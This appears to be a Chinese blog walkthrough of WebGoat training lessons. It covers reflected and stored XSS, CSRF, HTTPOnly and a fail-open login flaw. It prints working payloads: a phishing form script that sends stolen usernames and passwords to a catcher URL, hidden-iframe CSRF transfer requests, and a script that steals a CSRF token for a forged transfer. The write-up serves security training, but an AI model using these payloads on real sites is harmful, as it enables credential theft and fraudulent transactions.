Web安全XSS

Web安全XSS

简单的反射型XSS钓鱼演示

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> 

将上边的代码输入到文本框,XSS会形成一个钓鱼的登陆界面,用来骗取登陆帐户和密码

Cross-Site Scripting (XSS)-LAB: Cross Site Scripting

这是一篇系统的XSS介绍

Stage1-4

这四个步骤介绍了储存型XSS,主要步骤以下

1. Tom的档案是能够编辑的,Jerry做为人力能够查看Tom的档案
2. Tom对本身的档案进行编辑,放入XSS代码,被储存到数据库
3. Jerry查看Tom档案时,咣当..中招了

而后Stage2和4给出了两种方法修复XSS

第一是对输入进行检查,进行编码,第二个是对输出进行编码,分为JS Encode和HTML Encode,整个1-4因为没有Soluition,并且貌似XSS已是被修复后的状态,因此无法完成…感受这节课也是坏掉的…

Stage5-6

这里是反射型XSS的教程,说是在SearchStaff有个反射型的XSS,能够经过输入那里注入代码,可是没能复现,可能也是坏掉了…Stage6必须在开发模式下,也不知道怎么作.

Cross-Site Scripting (XSS)-Stored XSS Attacks

讲述了一种最典型的储存型XSS的例子—-留言板.

1. 留言板能够输入任何信息
2. 没有进行输入输出编码,产生了XSS
3. 用户A进行恶意留言
4. 用户B点进来自动显示用户A的留言,中XSS

Cross-Site Scripting (XSS)-Reflected XSS Attacks

典型的反射型XSS掩饰,Enter your three digit access code:输入框有反射型XSS漏洞

Cross-Site Scripting (XSS)-Cross Site Request Forgery (CSRF)

这里是一个储存型XSS和CSRF结合的示例,CSRF就是冒名登陆,用代码伪造请求,详细看这里,这里是吧CSRF恶意代码利用储存型XSS放到了网页上,经过留言Message里输入

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000"></iframe> 

就能够看到储存型XSS会出发出一个转帐页面,若是想这个页面被被害者发现

<iframe src="attack?Screen=284&amp;menu=900&amp;transferFunds=5000" width="1" height="1"></iframe> 

经过宽高设置成1像素,隐藏掉这个页面

Cross-Site Scripting (XSS)-CSRF Prompt By-Pass

这个就是利用CSRF进行冒名操做转帐,留下恶意代码以下

<iframe src="attack?Screen=282&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';"> </iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe> 

1. 第一个iframe是进行转帐5000
2. 当第二个加载完毕,去获取第二个iframe执行转帐确认按键
3. 而后再下边事先构造好”id=frame2”的第二个iframe

根据刚刚的文章讲,预防CSRF的一个有效手段就是Token,可是Token在管理不严的状况下也是能够被窃取的

Cross-Site Scripting (XSS)-

演示窃取Token后的CSRF

<script> var tokensuffix; function readFrame1() { var frameDoc = document.getElementById("frame1").contentDocument; var form = frameDoc.getElementsByTagName("form")[0]; tokensuffix = '&CSRFToken=' + form.CSRFToken.value; loadFrame2(); } function loadFrame2() { var testFrame = document.getElementById("frame2"); testFrame.src="attack?Screen=278&menu=900&transferFunds=5000" + tokensuffix; } </script> <iframe src="attack?Screen=278&menu=900&transferFunds=main" onload="readFrame1();" id="frame1" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> <iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"></iframe> 

1. 先加载main页面窃取Token
2. 而后加载转帐页面发送CSRF转帐请求

Cross-Site Scripting (XSS)-HTTPOnly Test

这里就是测试HTTPOnly在对第三方Cookie的管理的影响,被标记了HTTPOnly的Cookie不能被JS获取到.因此通常Session和Token最好放在带有标记的Cookie里

可是这里有个疑问,若是用户选择不一样的DOM就能够打开关闭HTTPOnly的标记,是否是能够诱导用户先关掉呢…仍是说这里也是为了出题而出题,只是伪造了HTTPOnly的效果

Improper Error Handling-Fail Open Authentication Scheme

这一个章节主要是讲要对错误有处理,否则错误处理的不全面也可能形成漏洞,好比这里

1. 输入webgoat账号
2. 而后输入任意密码
3. 拦截Request报文
4. 删掉密码这一个参数

这样也能登陆成功,因此说明代码对获取不到密码这个参数时的错误处理不充分

http://blog.csdn.net/biyukai88/article/details/52251805